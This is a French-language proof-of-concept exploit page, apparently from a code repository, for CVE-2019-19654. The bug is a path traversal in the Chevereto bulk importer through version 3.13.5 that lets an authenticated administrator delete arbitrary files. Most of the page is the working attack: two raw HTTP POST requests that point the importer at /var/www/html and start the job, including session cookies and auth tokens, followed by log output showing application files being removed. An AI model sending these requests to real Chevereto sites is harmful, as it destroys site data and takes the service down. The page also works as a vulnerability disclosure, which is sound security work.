jra89/cve-2019-19654Exploit de preuve de concept pour CVE-2019-19654 : déni de service Chevereto via traversement de chemin dans l'importateur en masse, permettant à un administrateur authentifié de supprimer des fichiers arbitraires et de rendre l'application inutilisable.
Chevereto déni de service - <= 3.13.5 Core dans l'outil /dashboard/bulk. Un attaquant disposant d'un compte administrateur peut insérer n'importe quel chemin. L'importateur en masse supprimera tout fichier et dossier auquel il a accès. En gros, vous pouvez faire autodétruire le site web.
POST /json HTTP/1.1
Host: 192.168.0.88
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 117
Origin: http://192.168.0.88
DNT: 1
Connection: close
Referer: http://192.168.0.88/dashboard/bulk
Cookie: PHPSESSID=47s523u1s4m67g0vaheldg4s31; KEEP_LOGIN=I8G%3A28854bd7bb05d8f456de5afa5b560fe17705fa7da0686c8f392c2ab16359046a112bf5dc002fbc10728c86370f1f66bc141a5214312124f147ba7d28601c5cc6c4fa40f6efce41428e7c03f5f27addaf1227%3A1575670700
auth_token=f731b451467b8ff0054536127bb3ef96251054d4&action=importAdd&path=%2Fvar%2Fwww%2Fhtml&options%5Broot%5D=plain
POST /json HTTP/1.1
Host: 192.168.0.88
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 101
Origin: http://192.168.0.88
DNT: 1
Connection: close
Referer: http://192.168.0.88/dashboard/bulk
Cookie: PHPSESSID=47s523u1s4m67g0vaheldg4s31; KEEP_LOGIN=I8G%3A28854bd7bb05d8f456de5afa5b560fe17705fa7da0686c8f392c2ab16359046a112bf5dc002fbc10728c86370f1f66bc141a5214312124f147ba7d28601c5cc6c4fa40f6efce41428e7c03f5f27addaf1227%3A1575670700
auth_token=f731b451467b8ff0054536127bb3ef96251054d4&id=1&action=importEdit&values%5Bstatus%5D=working
1575660328 - [Thread #1] ...Removing directory /var/www/html/app/importer/jobs/9 (rmdir)
1575660328 - [Thread #1] Unable to remove /var/www/html/app/importer/jobs/9
1575660328 - [Thread #1] ...Removing directory /var/www/html/app/importer/jobs (rmdir)
1575660328 - [Thread #1] Unable to remove /var/www/html/app/importer/jobs
1575660328 - [Thread #1] ...Removing directory /var/www/html/app/importer (rmdir)
1575660328 - [Thread #1] Unable to remove /var/www/html/app/importer
1575660328 - [Thread #1] ...Removing file /var/www/html/app/.htaccess (unlink)
1575660328 - [Thread #1] ...Removing file /var/www/html/app/install/installer.php (unlink)
1575660328 - [Thread #1] ...Removing file /var/www/html/app/install/template/updated.php (unlink)